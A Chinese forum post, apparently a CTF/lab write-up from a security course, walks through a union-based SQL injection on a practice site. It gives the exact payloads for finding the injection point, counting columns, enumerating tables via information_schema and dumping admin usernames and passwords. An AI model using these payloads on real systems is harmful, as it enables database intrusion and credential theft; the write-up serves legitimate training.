公开课第一章简单记录

weakchicken   ·   发表于 2019-12-20 21:16:41   ·   CTF&WP专版

练习过程记录

http://59.63.200.79:8003/

点击查看新闻进入萌萌的猫咪页面:


判断注入点:

?id=1 and 1=1 页面正常返回

?id=1 and 1=2 页面无内容返回

说明id参数存在SQL注入


判断字段:

?id=1 and 1=1 order by 3 页面无内容返回

?id=1 and 1=1 order by 2 页面正常返回

说明字段为2个


联合注入:

使前面的语句为假,后面的查询语句才能正常回显

?id=1 and 1=2 union select 1,2

看到页面上2回显在内容里面,说明2为回显位


查询当前的数据库名

?id=1 and 1=2 union select 1,database()  

结果:maoshe


查询当前数据库maoshe下的所有表

?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe' 

结果:admin,dirs,news,xss

依据tips,通过SQL注入拿到管理员的密码,所以要查询admin表下的字段


查询admin表的所有字段:

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'

结果:Id,username,password


查询所有的用户名:

?id=1 and 1=2 union select 1,group_concat(username) from admin

结果:admin,ppt领取微信


查询所有的密码:

?id=1 and 1=2 union select 1,group_concat(password) from admin

结果:hellohack,zkaqbanban


最终的结果为:hellohack


下面给出一些MySQL的内置函数查看信息:

current_user()                        返回当前数据库的用户名

version()                                返回数据库的版本信息

user()                                    返回数据库用户名

@@datadir                           返回数据库的存储路径

@@basedir                           返回数据库安装路径

@@version_compile_os         返回服务器的操作系统版本



打赏我,让我更有动力~

0 条回复   |  直到 2019-12-20 | 1055 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.